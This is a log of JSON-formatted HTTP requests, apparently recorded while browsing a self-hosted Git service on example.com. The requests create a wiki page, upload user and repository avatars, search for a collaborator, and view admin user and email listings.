{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
|
||||||
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
